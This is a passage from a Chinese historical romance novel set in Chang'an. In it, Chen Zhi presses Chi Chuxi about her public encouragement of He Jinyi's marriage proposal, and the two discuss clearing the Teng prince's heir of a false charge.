陈栀盯着池楚浠看了一会儿,给她倒了杯水。
“我听闻你不是最近才入住长安的,可偏偏近日才闹出这些风波,从前你在长安时为何从不出来露脸,偏要选在这个时候?”
陈栀定定地看着她,想听她回答。
池楚浠把茶喝了,道:“你既已从别人口中听过我的事,那应该知晓我的过往,从前我老实本分只等着嫁人,自然不会出来在这些公子哥眼前晃悠。”
“那时我已有婚约在身,不便再与这些郎君结交,怕生出口舌是非。”
陈栀莫名地笑了笑:“如今就不怕了?我不了解你,但我了解何瑾亦。”
“我听闻他那日在苏府就当众调戏你,他这人一回不得手便会有二回,他顾及何家在外的名声,从不大张旗鼓,只会背地里使些小手段把人糊弄过去。”
“但他对你的态度却与从前对我们大不同。”陈栀盯着池楚浠道,“他竟是选择直接上门求亲,我猜,是你暗示过他,对吗?”
“池娘子,你故意的?”
陈栀盯着她似笑非笑。
池楚浠道:“我是明示他的,我让他来裴家求娶,他便直接来了。”
“为何?”陈栀不解。
池楚浠道:“我赌气罢了,京中处处有人传我闲话,我也想早日结束这些流言蜚语,索性就随口一应,想着嫁给何瑾亦当个金丝雀算了。”
陈栀忽地冷笑一声:“竟还有人想做他的金丝雀,你倒是天真。”
陈栀绕着桌子走了几步忽地又回过头来盯着她:“我不信,你要是愿意做这等事当初还不如当初直接嫁给季沐风,不是吗?”
池楚浠望着她笑了笑:“人是会变的嘛,况且何家比季家底蕴厚多了。”
陈栀的目光中还是透着一丝疑惑,她道:“你这次一定要为滕王府世子洗清冤屈吗?”
“当然。”池楚浠道,“他因我受了牵连,我也不想裴家所有人跟着受累,所以这事我一定会查到底,今日多谢陈娘子提供线索,有劳了。”
陈栀道:“我也是为了我自己,别忘了你们答应我的,三日后送我出城。”
池楚浠沉声道:“景序昭会履行承诺的,你放心。”